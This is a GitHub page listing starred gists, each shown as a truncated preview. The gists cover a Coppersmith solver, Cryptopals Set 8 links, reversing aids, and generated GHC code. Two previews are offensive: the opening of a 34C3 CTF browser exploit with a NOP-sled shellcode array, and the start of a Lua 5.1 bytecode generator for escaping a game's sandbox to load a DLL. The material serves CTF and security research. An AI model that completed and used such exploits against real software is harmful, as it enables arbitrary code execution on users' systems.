Skip to content

Instantly share code, notes, and snippets.

View marche147's full-sized avatar
:octocat:
Learning

Chensheng Yu marche147

:octocat:
Learning
View GitHub Profile
@hyunsikjeong
hyunsikjeong / solver.sage
Created November 6, 2019 16:38
Multivariate Coppersmith method
class IIter:
def __init__(self, m, n):
self.m = m
self.n = n
self.arr = [0 for _ in range(n)]
self.sum = 0
self.stop = False
def __iter__(self):
return self
@arkadiyt
arkadiyt / cryptopals_set_8.md
Last active April 25, 2023 11:19
Cryptopals Set 8

Cryptopals is a set of cryptographic challenges, originally published here: https://cryptopals.com

Set 8 of the challenges was never published publicly, until late March 2018. However the cryptopals website was not updated to include the challenges. This gist compiles the 8th set of the Cryptopals challenges.

title link
57. Diffie-Hellman Revisited: Small Subgroup Confinement https://toadstyle.org/cryptopals/513b590b41d19eff3a0aa028023349fd.txt
58. Pollard's Method for Catching Kangaroos https://toadstyle.org/cryptopals/3e17c7b35fcf491d08c989081ed18c9a.txt
59. Elliptic Curve Diffie-Hellman and Invalid-Curve Attacks https://toadstyle.org/cryptopals/a0833e607878a80fdc0808f889c721b1.txt
@itszn
itszn / exploit.html
Last active April 9, 2021 18:31
34c3ctf V9 Exploit
<script>
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }
var sc = [];
for (var i=0; i<0x480; i++) {
sc.push(0x90);
}
//sc.push(0xcc);
//sc.push(0xeb);
//sc.push(0xfe);
@Jinmo
Jinmo / jni_all.h
Created May 26, 2017 07:36
Useful when reversing JNI on IDA Pro
/*
* Copyright (c) 1996, 1998, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
@yrp604
yrp604 / ida695sdk-macos1012.md
Last active December 27, 2017 19:49
IDA 6.95 SDK on macOS 10.12

Instructions for compiling the IDA 6.95 SDK on macOS 10.12 with Xcode 8

I have no idea if this is the best way to do this (is it really required to compile QT?) but it works for me. This is also reconstructed from the history of a few terminal windows, so it's entirely possible I'm forgetting something.

Start by following the install_linux.txt instructions. You'll need to copy libida.dylib and libida64.dylib into bin in the SDK root. Additionally, that bin directory should be in you PATH. Finally make bin/idamake.pl executable. All of these is covered in the SDK docs.

@sdiehl
sdiehl / gist:e5c9daab7a6d1da0ede7
Created December 18, 2014 12:53
GenApply.cmm
// DO NOT EDIT!
// Automatically generated by GenApply.hs
#include "Cmm.h"
#include "AutoApply.h"
INFO_TABLE_RET(stg_ap_v, RET_SMALL, W_ info_ptr, )
{
W_ info;
W_ arity;

Exploiting Lua 5.1 on 32-bit Windows

The following Lua program generates a Lua bytecode program called ignore-unsigned-sga.fnt, which in turn loads a DLL from within an extremely locked down Lua 5.1 sandbox in a program called RelicCOH2.exe. The remainder of this document attempts to explain how this program works by a whirlwind tour of relevent bits of the Lua 5.1 virtual machine.

if string.dump(function()end):sub(1, 12) ~= "\27Lua\81\0\1\4\4\4\8\0" then
  error("This generator requires a 32-bit version of Lua 5.1")
end

local function outer()
  local magic -- In bytecode, the stack slot corresponding to this local is changed